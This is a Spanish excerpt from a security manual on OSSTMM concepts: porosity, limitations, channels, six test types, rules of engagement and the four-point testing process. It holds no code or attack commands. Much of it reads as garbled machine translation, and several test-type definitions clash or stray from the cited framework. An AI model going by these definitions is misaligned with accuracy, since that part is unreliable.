Seguridad Es el balance perfecto, entre las operaciones, limitaciones
Perfecta y Controles aplicado al conjunto de los Activos.
Todos los puntos interactivos, donde las operaciones, se
Porosidad clasifican como: una visibilidad, un acceso, o un punto de
confianza.
Página 254 de 430

1.1 Seguridad
Es una función de separación. Existe la separación entre un activo y cualquier

amenaza. Existen 3 maneras lógicas y proactivas para crear esta separación:
1. Mover el activo para crear una barrera física o lógica entre ella y la amenaza.
2. Cambio de la amenaza a un estado considerado como inofensivo
3. Destruir la amenaza.
Al analizar el estado de la seguridad podemos ver donde existe la posibilidad de

interacción y donde no. Sabemos que algunos, todos, o incluso ninguna de estas
interacciones puede ser requerido para las operaciones. Ejemplo en un edificio,
algunas de las puertas son necesarios para los clientes y otros para los
trabajadores. Sin embargo, cada puerta es un punto interactivo que puede servir
para las operaciones necesarias, pero al mismo tiempo puede facilitar las no
deseadas, como el robo.
Desde el punto de vista del verificador de seguridad, no saben en este instante

si existe la justificación de negocio, para todos estos puntos interactivos, nos
referimos a esto como la porosidad. La porosidad reduce la separación entre una
amenaza y un acceso. Se categorizado como uno de estos tres elementos,
visibilidad, acceso y confianza, que describe su función, en las operaciones que
permite seguir los controles adecuados que se agregará durante la fase de
corrección, o de mejora de la protección. Considere la separación existente entre
un activo y sus amenazas, si está correctamente dimensionada, el bien o activo
estará adecuadamente protegido. Sin embargo, los aumentos de factores de
exposición provocan la disminución de la seguridad por cada elemento
agregado.
Elemento Definición
Visibilidad La visibilidad se puede expresar como la probabilidad de
que un determinado sea atacado en función del beneficio
que se obtiene con consecuencia, frente al riesgo que
supone su sustracción.
Acceso Es una forma de expresar la viabilidad para ser atacado,
dañado, sustraído o sustituido por otro activo, el número de
puntos de exposición entre el activo / bien y sus amenazas
disminuye para cada punto de exposición que se elimina.
Responsabilidad La confianza es una parte esencial en la Seguridad
Operativa, es necesario que la Responsabilidad que es otra
de Confianza pueda ser medible por tanto las medidas de
seguridad se miden por la confianza que son capaces de
generar respecto a un tipo de Activo frente a un tipo
concreto de amenazas.
Página 255 de 430

1.2 Asegurando la triada de la Información.
Se trata de suministrar medidas de apoyo, para garantiza la triada de la

Seguridad de la Información: Confidencialidad, Disponibilidad e Integridad
aunque, se requerirán más de un conjunto de controles para alcanzar unos
niveles aceptables en estos tres vectores, de forma uniforme.
Objetivos Controles
Privacidad
Confidencialidad Autenticidad
Resiliencia
Integridad
Integridad No repudio
Subyugación
Continuidad
Disponibilidad Indemnización
Alarma
Una forma de protección donde se controlan
la amenaza o sus efectos. Los controles
deben estar en su lugar para asegurar el
activo frente a la amenaza en sí o los efectos
Seguridad de la misma para que se reduzcan al máximo
esto es a un nivel aceptable. Este manual
cubre la seguridad como “controles”, que son
los medios para mitigar los ataques en un
entorno operativo o en vivo.
El rav es una medida, representa la cantidad
de interacciones no controlados contra un
objetivo, que se calcula por el equilibrio
cuantitativo entre la porosidad, limitaciones y
controles. 100 rav representa un perfecto
equilibrio entre el activo, sus amenazas, los
RAV
controles y las limitaciones de estos. Es
importante evitar tanto: la falta de controles y
sus limitaciones, como el exceso de los
mismo, que pueden ser tan perjudiciales,
como la propia amenaza en sí, debido al
consumo de recursos para su monitorización.
Activo tangible o intangible que puede ser
atacado mediante uno o varios vectores
Objetivo (vulnerabilidades / debilidades) que poseen y
que puede adquirir y manejadas por el
atacante.
Acciones Físicas o Lógicas cuyo propósito es
Vector hacer con la propiedad el control del Activo
con independencia de su naturaleza.
Cuando una persona o un proceso puede
Vulnerabilidad acceder, denegar el acceso a los demás, o se
ocultan los activos dentro del alcance
Página 256 de 430

1.3 Limitaciones
Es la incapacidad de los mecanismos de protección para trabajar para hacer
frente a los diversos tipos de fallos que pueden ocurrir y se conocen como
limitaciones. La limitación por definición es cuando activo protegido no puede
mantener sus barreras frente a las amenazas.
Las limitaciones se han clasificado en cinco categorías y estas categorías
definen el tipo de vulnerabilidad, error, mala configuración o deficiencia por
operación. Esto es diferente de cómo se clasifican las limitaciones en la mayoría
de los marcos de gestión de seguridad y las mejores prácticas, por lo que
utilizamos el término Limitación.
En lugar de términos más comunes para evitar la confusión. Estos otros términos
se refieren a vulnerabilidades o deficiencias porque están categorizadas por el
tipo de ataque o, a menudo, por la propia amenaza. Hay un enfoque sobre el
riesgo del ataque. Sin embargo, para eliminar los sesgos de las métricas de
seguridad y ofrecer una evaluación eliminamos el uso del riesgo. El riesgo en sí
mismo es muy sesgado y, a menudo, muy variable dependiendo del medio
ambiente, los activos, las amenazas y muchos más factores. Por lo tanto, bajo
OpSec, usamos el término limitaciones para expresar la diferencia de categorizar
cómo falla OpSec, en lugar de por el tipo de amenaza.
Dado que no se puede conocer el número y el tipo de amenazas, tiene más

sentido comprender un mecanismo de seguridad basado en cuándo fallará. Esto
permite al Analista probar las condiciones en las que ya no sostienen el nivel
necesario de protección. Sólo una vez que tengamos este conocimiento
podemos empezar a jugar al juego de las amenazas y riesgos. Entonces también
podemos invertir en el tipo apropiado de separación o controles requeridos y
crear planes precisos para desastres y contingencias.
Limitaciones
Para entender mejor cómo las limitaciones encajan en el marco de OpSec, se
puede ver observar el siguiente mapa que define como encaja cada una de las
diferentes piezas.
Página 257 de 430

Estas operaciones, controles, operaciones de seguridad y limitaciones ya han

sido definidas y comentadas en páginas anteriores.
Esta asignación muestra cómo las Limitaciones afectan la seguridad y cómo se

determinan los valores. Una vulnerabilidad es la falla o error que: (a) niega el
acceso a activos para personas o procesos autorizados (b) Permite el acceso
privilegiado a activos a personas o procesos no autorizados, o (c) permite que
personas no autorizadas Personas o procesos para ocultar activos o ellos
mismos dentro del alcance.
Esto significa que la vulnerabilidad debe ser mapeado sobre todos los puntos de
interacción o OpSec y porque la vulnerabilidad puede circunnavegar o anular el
Controles, estos también deben ser considerados en la ponderación de
vulnerabilidad. Una debilidad es una falla en los Controles de Clase A sin
embargo puede impactar OpSec por lo tanto se asigna a todos los OpSec, Así
como ser mapeados a esta clase interactiva de controles.
Una preocupación sólo puede encontrarse en los controles de clase B, sin

embargo, puede afectar a OpSec, por lo tanto, se asigna a todos OpSec, así
como ser asignado a esta clase de proceso de controles. Una exposición nos da
inteligencia sobre la interacción con un objetivo y, por lo tanto, los mapas
directamente a la visibilidad y acceso. Esta inteligencia también puede ayudar a
un atacante a navegar alrededor de algunos o todos los controles y así la
exposición también se asigna a ambas clases de control. Por último, la
exposición no tiene ningún valor a menos que haya una forma usar esta
inteligencia para explotar el activo o un control y así vulnerabilidades,
Debilidades y Preocupaciones. También desempeñan un papel en la
ponderación del valor de la Exposición. Una anomalía es cualquier elemento no
identificable o desconocido que no ha sido controlado y no puede ser
contabilizado en operaciones normales. Esta limitación también puede causar
anomalías en la forma en que funcionan los controles y por lo tanto también se
incluyen en la ponderación. Finalmente, como con una exposición, una anomalía
por sí sola no afectan a OpSec, sin la existencia de una vulnerabilidad, debilidad
o preocupación que pueda explotar este comportamiento inusual.
Además, más de una categoría puede aplicar a una limitación cuando la falla
rompe OpSec en más de un lugar. Por ejemplo, un control de autenticación que
permite a una persona secuestrar las credenciales de otra persona tiene una
debilidad y si las credenciales permiten el acceso, también tiene una
vulnerabilidad. En otro ejemplo, un control de autenticación utiliza una lista
común de nombres correspondientes a direcciones de correo electrónico. Cada
dirección que se puede encontrar o adivinar y utilizar, como un inicio de sesión
es una exposición mientras que el propio control tiene una debilidad, por su
incapacidad para identificar el usuario correcto del mecanismo de autenticación
del inicio de sesión. Si alguna de esas credenciales permite acceso, también lo
incluimos como una vulnerabilidad.
Página 258 de 430

Cumplimiento Legal.
Bajo la perspectiva de OSSTMM.
Que algo sea seguro, es decir este provisto de todas las medidas necesarias
para impedir que alguien evadiendo dichas medidas se haga con la propiedad o
el control de un activo, no significa que legalmente este cumpliendo todos los
requisitos legales exigibles, esto es, lo que viene a expresar es que no toda
medida de seguridad, tiene por qué ser legal, aunque debiera ser lo
Definiendo exámenes tipos para verificar la seguridad.
La seguridad no tiene porqué resultar, ni compleja de definir, ni de gestionar, se

debe segmentar en pequeñas partes, que se puedan probar de forma aislada y
luego en pequeños conjuntos hasta alcanzar la totalidad es decir la suma de
todas las partes por eso siempre, es mejor definir un ámbito limitado, y
descomponerlo en partes lo suficientemente pequeñas para ser gestionables,
pero no tan pequeñas que pierdan su significado.
Definiendo las pruebas de Seguridad.
Pasos para definir las pruebas de Seguridad.
1. Definir lo que desea proteger. Estos son los activos. Los

mecanismos de protección de estos activos Los controles son los
que se prueba para identificar limitaciones.
2. Identificar el área alrededor de los activos que incluyen los

mecanismos de protección y los procesos o los servicios
construidos alrededor de los activos. Aquí es donde la interacción
con los activos se llevará a cabo. Esta es tu Zona de
Enfrentamiento.
3. Definir todo fuera de la zona de compromiso que se necesita para

mantener sus activos operativos. Esto puede incluir cosas que
usted puede no ser capaz de influir directamente como la
electricidad, alimentos, agua, aire, la información, la legislación, los
reglamentos y las cosas que usted puede ser capaz de trabajar
También contar lo que mantiene la infraestructura de procesos
como operacionales, protocolos, y continuaron recursos. Esta es
su alcance prueba.
4. Definir cómo su alcance interactúa dentro de sí y con el exterior.

Lógicamente compartimentar el activo dentro del alcance a través
de la dirección de las interacciones, tales como el interior al
exterior, fuera a en el interior, interior a interior, departamento de A
a B departamento, etc. Estos son sus vectores. cada vector
idealmente debería ser una prueba separada para mantener la
duración de cada prueba compartimentada corta en poco mucho
cambio puede ocurrir en el medio ambiente.
Página 259 de 430

5. Identificar qué equipos serán necesarios para cada prueba. Dentro

de cada vector, puede producirse una interacción en varios niveles.
Estos niveles pueden clasificarse de muchas maneras, sin
embargo, aquí lo han sido clasificado por función como cinco
canales. Los canales son humanos, física, Wireless,
Telecomunicaciones y redes de datos. Cada canal debe ser
probado por separado para cada vector.
6. Determinar qué información desea aprender de la prueba. Va a

estar probando las interacciones con los activos y también la
respuesta de las medidas de seguridad activa El tipo de prueba
debe ser de forma individual definido cada prueba, sin embargo,
hay seis tipos comunes identificados aquí como ciego, doble ciego,
El rectángulo gris, gris doble caja, Tándem, y la inversión.
7. Asegurar la prueba de seguridad que haya definido en el

cumplimiento de las normas de intervención, una directriz para
asegurar el proceso para una prueba de seguridad adecuada sin
crear malentendidos, ideas falsas o falsas expectativas. El
resultado final será una medida de su superficie de ataque. La
superficie de ataque es la parte no protegida del alcance de un
vector definido.
Alcance de las pruebas de Seguridad.
El alcance es el entorno de seguridad de funcionamiento posible total para

cualquier interacción con cualquier activo que puede incluir los componentes
físicos de seguridad y también las medidas relativas a estas.
El alcance se divide en tres clases a través de cinco canales:

COMSEC- Telecomunicaciones y Canales de seguridad redes de datos de la
clase Canales físicos y la seguridad humana de la clase.
PHYSSEC, y toda la gama Canal de seguridad inalámbrica de la clase

SPECSEC.
Las clases son de denominaciones oficiales Actualmente en uso en la industria

de la seguridad, el gobierno y el ejército. Las clases son y se usan para definir
un área de estudio, investigación, o la operación.
Sin embargo, los Canales son los medios específicos de interacción con los
activos. Un activo está dentro de un tipo de certeza (que no debe confundirse,
con el riesgo, que no es una certeza, pero sí es una probabilidad)
Estas restricciones no incluyen eventos tales como:
1. Una erupción volcánica donde no existe volcán.

2. Un impacto como luz de la luna a través de la ventana del centro de datos.
3. Un impacto global y catastrófico como un impacto por una lluvia de meteoritos.
Página 260 de 430

Mientras que una auditoría de seguridad exhaustiva requiere pruebas de los

cinco canales, de manera realista, las pruebas se llevan a cabo y categorizados
por la experiencia requerida del analista y el equipo necesario para la auditoría
puede ser cualquier cosa que tiene valor para el propietario.
Los activos pueden ser propiedad física como el oro, las personas, los planos,
los ordenadores portátiles, la típica señal de teléfono de frecuencia de 900 MHz,
y el dinero; o propiedad intelectual, tales como el personal de datos, una relación,
una marca, procesos de negocio, contraseñas, y algo que se dice sobre la señal
de teléfono 900 MHz.
A menudo, el alcance se extiende mucho más allá del alcance del propietario de
los activos. El alcance requiere que se consideran posibles todas las amenazas,
incluso si no es probable. Aunque, debe quedar claro que un análisis de
seguridad debe estar restringido a lo que posible.
Canales
Canal Clase Descripción

Cualquier interacción entre ellos o
entre uno de ellos y activos físicos o
Seguridad Seres Humanos
lógicos o ambos de forma
Física
concurrente.
PHYSSEC
Requiere elementos físicos que
Elementos Físicos
transmitan fuerza o energía.
Cualquier tipo de transmisión
englobada dentro del espectro
Spectrum Seguridad
radioeléctrico y electromagnético
Security Transmisiones
con independencia de su frecuencia
(SPECSEC inalámbricas WIFI
y mecanismos de seguridad
asociados incluyendo señales.
Todas las redes de propagación se
señales que utilicen medios o
Telecomunicaciones
sistemas de señales basados en la
telefonía clásica de par de cobre.
Seguridad en Comprende todos los dispositivos
Comunicaciones Hardware y Software con
independencia del medio físicos
Redes de Datos
para transmitir y recibir datos
incluyendo las redes inalámbricas
WIFI y Bluetooh
Mientras que los canales y sus divisiones pueden estar representados en

cualquier forma, dentro de este manual son organizado como medios
reconocibles de comunicación e interacción. Esta organización está diseñada
para facilitar el proceso de prueba y reducir al mínimo la sobrecarga ineficiente
que se asocia a menudo con metodologías estrictas.
Página 261 de 430

Tipos estándar de pruebas de Seguridad OSSTMM
Estos seis tipos estándares de prueba difieren en función de la cantidad de

información que el probador, sabe / conoce o puede llegar a conocer a acerca
de los objetivos o lo que se espera de la prueba, y la legitimidad de la prueba.
Algunas pruebas pondrán a prueba la habilidad del probador más que examinar
realmente la seguridad de un objetivo.
Ten en cuenta cuando se informa del resultado de la auditoría, a menudo existe

un requisito para identificar exactamente el tipo de auditoría realizado. Con
demasiada frecuencia, las auditorías basadas en diferentes tipos de prueba se
comparan con el seguimiento del delta (desviaciones) de una línea de base
establecida del alcance. Si el tipo de prueba exacta no está disponible para un
revisor independiente o un regulador, la auditoría en sí, debe considerarse una
prueba a ciegas, que tiene menor mérito que una prueba de seguridad completa.
Tipo Descripción
Es una prueba a ciegas donde el atacante analista
conoce todo o casi todo lo relativo a su objetivo y su
1 Ciego misión consiste en obtener la máxima información
posible utilizando todas las técnicas a su alcance
incluyendo los juegos de roll y los juegos de guerra.
Es una prueba a de doble ciego donde el atacante /
analista desconoce todo o casi todo lo relativo a su
objetivo y su misión consiste en obtener la máxima
información posible utilizando todas las técnicas
2 Doble Ciego
incluyendo el uso de códigos maliciosos propios o
ajenos para burlar los diferentes niveles de defensa del
objetivo. Su objetivo llegar a lo más profundo del
sistema su ataque debe ser de tipo sigiloso y dejar
Página 262 de 430

puertas instaladas para volver a repetirlo, hasta que se

vuelva inviable.
Este tipo de prueba evalúa más al atacante que sus
efectos en sí, al atacante / analista se facilitan ciertos
datos como los canales más permeables y a partir de
ahí y de las informaciones obtenidas este busca
3 Caja Gris vulnerabilidades que le permitan lograr mayores
privilegios de sistemas y por tanto realizar operaciones
no permitidas y tener accesos a datos valiosos para la
organización, en realidad es una autoevaluación de
vulnerabilidades.
Es muy similar anterior, pero en esta se facilita o se
descubre de forma intencional al atacante / analista
información sensible, respecto a posibles
vulnerabilidades existentes. La idea es en realidad, es
Doble Caja
4 medir cual es la gravedad de las vulnerabilidades, que
Gris
no han sido resueltas mediante los correspondientes
parches o actualizaciones para conocer el grado de
exposición de los activos frente a atacantes
cualificados.
Es una Auditoria también conocida como Caja
Cristalina debido a que todos los datos expuestos,
para realizar el test de penetración, son conocidos en
toda la extensión y profundidad necesaria para realizar
un auténtico ataque y en realidad, lo que se persigue
es conoce la eficacia y eficiencia de la estrategia de
5 En Tándem
defensa que se aplicará mientras se desarrolla la
prueba, se trata en realidad de medir el
comportamiento del equipo de seguridad en respuesta
en incidentes que pueden provocar graves impactos
en la organización tanto a nivel interno, como a nivel
externo (reputación).
Es un ataque que utiliza técnicas no habituales y que
incluso puede llegar a utilizar técnicas que incluyan
motores de inteligencia artificial, para correlacionar
defensas y puntos débiles o de exposición por donde
ganar privilegios y accesos a recursos de red o bien a
bases de datos. Cuyos datos están considerados
como activos muy valiosos, para la organización dado
que su exposición o relevación supondría
indemnizaciones que suponen la desaparición de la
6 Equipo Rojo
organización o llegar a situarla en un punto muy
próximo a la misma. Es obvio que el atacante o
atacantes cuentan con o uno varios contactos dentro
de la organización infiltrados, con el fin de identificar
dichas informaciones valiosas y los medios de defensa
que las protegen por ejemplo medidas físicas y lógicas
también para buscar la mejor manera de atacarlas o
romper dichas medidas lo que supone que hay un
equipo exprofeso para hacer frente a este tipo de
Página 263 de 430

ataques frenarlos y reconocer a los infiltrados y por

tanto los objetivos buscados por los atacantes.
1. Reglas de enfrentamiento.
Estas reglas definen las directrices operativas de las prácticas aceptables

en la comercialización y venta de las pruebas, la realización de trabajos de
ensayo, y la manipulación de los resultados de las pruebas.
2. Ventas y Marketing
El uso del miedo, la incertidumbre, la duda y el engaño no se pueden usar

en las ventas o presentaciones, de sitios web, materiales de apoyo,
informes, o discusión de las pruebas de seguridad con el fin de vender o
proporcionar pruebas de seguridad. Esto excluye todo tipo de acción
promocional sobre delitos, hechos, perfiles criminales o hackers
glorificados, y las estadísticas de motivar a las ventas.
Se prohíbe el ofrecimiento de servicios gratuitos en caso de no lograr

penetrar en el objetivo.
3. Quedan prohibidas todas las prácticas relativas a craqueo, piratería y

presentación a concursos en empresas públicas para promover
mediante el uso del medio la garantía de la seguridad.
4. Queda prohibido salvo autorización del cliente final hacer uso del nombre
del mismo, debiendo en caso de estar autorizado a dicho uso explicitar el
tipo de producto / servicio adquirido por el cliente, guardando la debida
discreción respecto a cualquier dato que pueda revelar vulnerabilidades
del mismo, como por ejemplo versión, año de venta, etc.
5. Se deberá mantener en todo momento una conducta ética, que no omita

datos relevantes o de críticos a la seguridad, durante todo el proceso de
evaluación y venta de productos / servicios de seguridad. Debe
explicitarse de forma legal en caso de test de ataque, durante cuánto
tiempo se puede realizar el mismo y que se consideran daños aceptables,
por parte de la víctima, así como a la reposición de los datos sustraídos
durante el ataque permitiendo a la organización sujeto del ataque verificar
la destrucción de las copias de los datos obtenidos de forma ilícita, así
como a verificar la destrucción de todas las copias de seguridad de los
mismos, incluyendo los almacenados en ubicaciones físicamente distintas
de las de las empresas participantes, durante el proceso de evaluación de
la seguridad y esto incluye los sistemas de almacenamiento en la nube.
6. Con o sin un contrato de acuerdo de confidencialidad, la seguridad Se

requiere al Analista o al equipo de Analistas contrato de confidencialidad
y no divulgación de información del cliente (debe de guardar secreto) y de
prueba resultados.
Página 264 de 430

7. Los contratos deben explicar claramente los límites y peligros de la prueba

de seguridad como parte de la declaración de trabajo.
8. En el caso de las pruebas se realicen a distancia, el contrato debe incluir

el origen de los datos de los analistas dirección ip, número de teléfono o
la dirección física.
9. El cliente debe proporcionar una declaración firmada que proporciona el

permiso para las pruebas eximir los analistas de culpa dentro del alcance,
y daños a la responsabilidad del costo del servicio de auditoría, con la
excepción de que la actividad maliciosa se ha demostrada.
10. Los contratos deben contener los nombres de contacto y números de

teléfono de emergencia. El contrato debe incluir permisos claros,
específicos para las pruebas que implican fallos de supervivencia,
denegación de servicio, pruebas de proceso, y la ingeniería social
11. Los contratos deben contener el proceso de para el futuro contrato y

estado de cambios de trabajo.
12. Los contratos deben contener verificados conflictos de intereses para una
prueba de seguridad de hecho y de informe.
Definición del Alcance
1. El alcance debe estar claramente definida contractualmente antes de

verificar servicios vulnerables.
2. La auditoría debe explicar claramente los límites de las pruebas de

seguridad de acuerdo con el ámbito de aplicación.
Plan de prueba.
El plan de pruebas puede no contener los planes, procesos, técnicas o

procedimientos que están fuera del área de especialización o nivel de
competencia del analista.
Proceso de prueba.
1. El analista debe respetar y mantener la seguridad, la salud, el bienestar y

la privacidad de los ciudadanos tanto dentro como fuera del ámbito de
aplicación.
2. El analista debe funcionar siempre dentro de la ley de la ubicación física

de los objetivos además de las normas o leyes que rigen lugar de la
prueba del analista.
3. Para evitar aumentos temporales en la seguridad durante la duración de

la prueba, solamente notificar a las personas clave acerca de la prueba.
Es el juicio del cliente, que discierne quiénes son las personas clave son;
Página 265 de 430

sin embargo, se supone que van a ser las políticas de información y los
administradores de procesos de seguridad, el personal de respuesta a
incidentes, y el personal de operaciones de seguridad.
4. Si es necesario para la prueba privilegiada, el cliente debe proporcionar

dos fichas, por separado, de acceso ya sean contraseñas, certificados,
números de identificación segura, insignias, etc. y se debe ser típico para
los usuarios de los privilegios están probando en lugar de accesos
especialmente vacíos o seguras.
5. Cuando la prueba incluye privilegios conocidos, el analista debe primero

prueba sin privilegios (tales como en un entorno de recuadro negro) antes
de la prueba de nuevo con privilegios.
6. Los analistas están obligados a conocer sus herramientas, y cómo

funcionan las herramientas, y se los puso a prueba en un área restringida
área de prueba antes de usar las herramientas de la organización del
cliente.
7. La realización de los ensayos que están destinados expresamente para

probar la negación de un servicio o proceso o supervivencia sólo se puede
hacer con el permiso explícito y sólo al alcance donde no se hace daño
fuera del alcance o de la comunidad en la que reside el alcance.
8. Pruebas con personas sólo pueden realizarse en los identificados en el

alcance y pueden no incluir los particulares, clientes, socios, asociados, u
otras entidades externas sin el permiso por escrito de esas entidades.
9. Limitaciones verificadas descubiertas, vulnerabilidades con tasas

conocida o alta de explotación, vulnerabilidades que son explotables por
completo, sin control o el acceso imposible de encontrar, o que puedan
poner en peligro la vida de inmediato, descubierto durante las pruebas
deben ser comunicadas al cliente con una solución práctica, tan pronto
como se encuentran.
10. Cualquier forma de prueba de inundación está prohibido a través de

canales públicos o sea no sean de propiedad privada.
11. El analista no podrá salir del alcance en una posición de menor seguridad
real de lo que era cuando se proporcionan.
Presentación de Informes.
1. El analista debe respetar la privacidad de todas las personas y

mantener su privacidad para todos los resultados.
2. Los resultados que involucran a personas sin formación en el personal

de seguridad o no de seguridad, sólo pueden ser reportados a través
de medios no identificable o estadísticos.
Página 266 de 430

3. El analista no puede firmar, los resultados de pruebas e informes de

auditoría, en el que no estaban involucrados directamente.
4. Los informes deben ser objetivo y sin falsedades o ninguna malicia

dirigido personalmente.
5. Se requieren notificaciones de clientes cada vez que el analista cambia

el plan de pruebas, cambia el lugar de la prueba de origen, tiene
resultados bajos de confianza, o haber ocurrido algún problema de
prueba. Las notificaciones deben ser proporcionados a la anterior la
ejecución de pruebas de tráfico nuevas, peligrosas, o altas, y las
actualizaciones regulares del progreso son obligatorios.
6. Cuando las soluciones y recomendaciones, se incluyen en el informe,

que debe ser válido y práctico.
7. Los informes deben marcar claramente, todas las incógnitas y las

anomalías.
8. Los informes deben indicar los dos claramente descubierto éxito y han
fracasado las medidas de seguridad y controles de pérdida.
9. Los informes deben utilizar sólo las métricas cuantitativas, para medir
la seguridad. Estas métricas deben basarse en hechos y vacío de
interpretaciones subjetivas
10. El cliente debe ser notificado cuando el informe, se envía como para
esperar su llegada y para confirmar la recepción de la entrega.
11. Todos los canales de comunicación, para la entrega del informe deben
ser de extremo a extremo confidencial.
12. Resultados e informes no pueden ser utilizados con fines comerciales más
allá de la interacción con el cliente.
El proceso operativo de Pruebas de Seguridad
¿Por qué las operaciones de prueba? Por desgracia, no todo funciona como se
configuró. No todo el mundo se comporta como entrenado. Por lo tanto, la verdad
de la configuración y la formación es en las operaciones resultantes. Es por eso
que necesitamos para poner a prueba las operaciones. El proceso de prueba
OpSec es una prueba de eventos discretos de un sistema dinámico, estocástico.
Esto significa que se van a realizar una secuencia cronológica de pruebas en un

sistema que cambia y no siempre dan la misma salida para la entrada
proporcionada.
Página 267 de 430

El objetivo es un sistema, una colección de interactuar y los procesos de

codependientes que también está influenciada por el medio ambiente
estocástico existente. Ser estocástico significa que el comportamiento de los
eventos en un sistema, no puede determinarse debido a que el siguiente estado
del medio ambiente sólo puede ser parcial pero no totalmente determinado por
el estado anterior. El sistema contiene un número finito, pero posiblemente
extremadamente grande de variables y cada cambio en las variables pueden
presentar un evento y un cambio de estado.
Dado que el medio ambiente es estocástico, hay un elemento de aleatoriedad y

no hay medios para predeterminar con certeza cómo todas las variables
afectarán el estado del sistema. La mayor parte de lo que la gente entiende de
OpSec proviene del aspecto defensivo lo cual es comprensible ya que la
seguridad es generalmente considerada, como una estrategia defensiva es
relegado a continuación, pruebas agresivas de OpSec a la misma clase que la
explotación y la elusión del diseño o la configuración actual.
Sin embargo, el problema fundamental de esta técnica es que un diseño o
configuración no equivale a operación. Nos encontramos con muchos casos en
la vida donde la operación no se ajusta a la configuración.
Un ejemplo sencillo es una descripción típica de trabajo. Es más común de lo

que se piensa o cree, también conocida como una descripción del trabajo, está
a la altura de la realidad que refleja lo que hacemos en el trabajo.
Otro ejemplo es el canal de TV. Debido a que un canal está ajustado a una
frecuencia particular (configurada) no significa que vayamos a recibir el
programa transmitido por ese canal, o sólo ese programa. Esta metodología de
pruebas de seguridad está diseñada en el principio de la verificación de la
seguridad de las operaciones.
Aunque no siempre puede probar los procesos y políticas directamente, una

prueba exitosa de las operaciones se permitir el análisis tanto de los datos
directos e indirectos para estudiar la brecha entre operaciones y procesos. Esto
le mostrará el tamaño de la brecha entre lo que la dirección espera de las
operaciones de los procesos que se desarrollan y lo que realmente ocurre.
Más en pocas palabras, el objetivo del analista es responder: “¿Cómo funcionan

las operaciones actuales y cómo funcionan de manera diferente a como piensa
gestión ¿trabajan?" Un punto de la nota es la extensa investigación disponible
sobre control de cambios de procesos para limitar la cantidad de eventos
indeterminable en un sistema estocástico. El analista a menudo intente
sobrepasar las restricciones de control de cambios y del presente “y si” los
escenarios, que los ejecutores de control de cambio no haber considerado.
Una comprensión profunda de control de cambios es esencial para cualquier

analista. Por consiguiente, una prueba de seguridad operacional requiere una
comprensión completa del proceso de pruebas, elegir el tipo correcto de prueba,
el reconocimiento de los canales y los vectores de prueba, la definición del
alcance de acuerdo para el índice correcto, y aplicando la metodología
adecuada. Curiosamente, en ninguna parte, además de en las pruebas de
Página 268 de 430

seguridad es el proceso de eco considerada la prueba de facto. Al igual que grita

en un área cavernosa y en espera de la respuesta, el proceso requiere la
interacción de eco y a continuación, el seguimiento de las emanaciones de la
diana para los indicadores de un estado particular, tales como seguros o
inseguros, vulnerable o protegido, o fuera de, y hacia la izquierda o derecha.
El proceso de eco es de una causa y tipo de efecto de la verificación. El analista

hace la causa y se analiza el efecto sobre el objetivo. Es extraño que este es el
principal medio de pruebas de algo tan importante como la seguridad porque,
aunque lo convierte en una prueba muy rápida, también es muy propensa a
errores, algunos de los cuales pueden ser devastadores para el objetivo.
Tengamos en cuenta que en una prueba de seguridad utilizando el proceso de

eco, un objetivo que no responde se considera seguro o sólo tiene que responder
a un tipo concreto de solicitud, para dar el aspecto de la seguridad, sin embargo
todavía ser completamente interactivo con otros tipos de peticiones que muestra
no ha habido separación. Si los hospitales utilizan el proceso de eco, para
determinar la salud de un individuo, sería rara vez ayudan a las personas, pero
al menos el tiempo de sala de espera sería muy corto.
Sin embargo, como la mayoría de otras industrias científicas, aplicar el proceso

de cuatro puntos que incluye una función del proceso de eco llamada la
“interacción” como una de las cuatro pruebas. Los otros tres ensayos son: el
“investigación” de leer emanaciones del paciente tales como el pulso, la presión
sanguínea, y las ondas cerebrales; la “intervención” de cambiar y haciendo
hincapié en las condiciones de funcionamiento, tales como la homeostasis del
paciente, el comportamiento, O nivel de comodidad de rutina; y la “inducción” de
examinar el entorno y la forma en que puede haber afectado el objetivo tales
analizar lo que el paciente ha interactuado con, tocado, comido, bebido, o aspiró.
Sin embargo, en las pruebas de seguridad, la mayoría de las pruebas se basan
en el proceso de eco solo.
Hay tanta información perdida en dicha prueba unidimensional debemos estar

agradecidos de que la industria de la salud ha evolucionado más allá de sólo el
“¿Le duele si hago esto?” manera de diagnóstico.
El proceso de prueba de seguridad en esta metodología no recomienda el

proceso de eco solo para obtener resultados fiables. Si bien el proceso de eco
puede ser utilizado para ciertas pruebas, en particular en que el margen de error
es pequeño y el aumento de la eficiencia permite un tiempo para ser trasladado
a otras técnicas que requieren mucho más tiempo, no se recomienda para las
pruebas fuera de un entorno determinista.
El analista debe elegir cuidadosamente cuándo y bajo qué condiciones para

aplicar el proceso de eco. Si bien existen muchos procesos de prueba, el
Proceso de cuatro puntos para las pruebas de seguridad está diseñado para una
eficiencia óptima, precisión y rigor para asegurar la validez de la prueba y
minimizar los errores en incontrolada y ambientes estocásticos.
Página 269 de 430

Está optimizado para escenarios de prueba en el mundo real. Mientras que

también utiliza la agitación, se diferencia del proceso de eco, ya que permite para
la determinación de más de una de las causas por efecto y más de un efecto por
la causa.
El proceso de cuatro puntos (4PP) se rompe una prueba de principio a final.

Estas son cosas que un grupo de pruebas experimentado ya hace. No hay que
confundir la formalidad en la disección del proceso con la formalidad de la
presentación de informes. Usted no tiene que mostrar cada paso se realiza, sino
que debe comprender cómo ha llegado de la A a C. Es como darle a la gente
que conduce direcciones. Usted les dice los pasos en donde se doblan y relativa
proximidad a las cosas que verá, que saber, que van por el camino correcto, pero
no les diga todas las calles que conducen hacia abajo y cada señal de tráfico
que deben obedecer a llegar hasta el final. Pues bien, el 4PP es las direcciones
específicas y los medios, así como los informes son en realidad los relativistas.
La tetralogía de los procesos de seguridad.
1. Inducción: (Z) el establecimiento de verdades principales sobre el objetivo de

las leyes y los hechos ambientales. El analista determina los principios de hecho
respecto del objetivo del ataque, del ambiente en el que reside el objetivo. Como
objetivo se influenciada por su entorno, su comportamiento será determinable
dentro de esta influencia. Donde el destino no está influido por su entorno, existe
una anomalía para ser entendido.
2. Indagatoria: (C) la investigación de señales o patrones anómalos de conducta
en el destino. El equipo de análisis investigará las señales anómalas y las pistas
o indicadores de aquellas señales. Un sistema o proceso por lo general dejar
una firma de su existencia a través de la interacción con su entorno.
3. Interacción: (A / B) como pruebas de eco, interacciones estándar y no
estándar, con el objetivo de desencadenar respuestas. El analista indagará o
agitar tacará al objetivo con el fin de desencadenar respuestas para su análisis.
Página 270 de 430
4. Intervención: (X / Y / Z) cambiar las interacciones de los recursos con el

objetivo o entre los objetivos. El analista va a intervenir con los recursos de
destino (objetivo/os) requieren de su entorno o de sus interacciones con otros
objetivos para entender los extremos en las que podría seguir operando
adecuadamente.
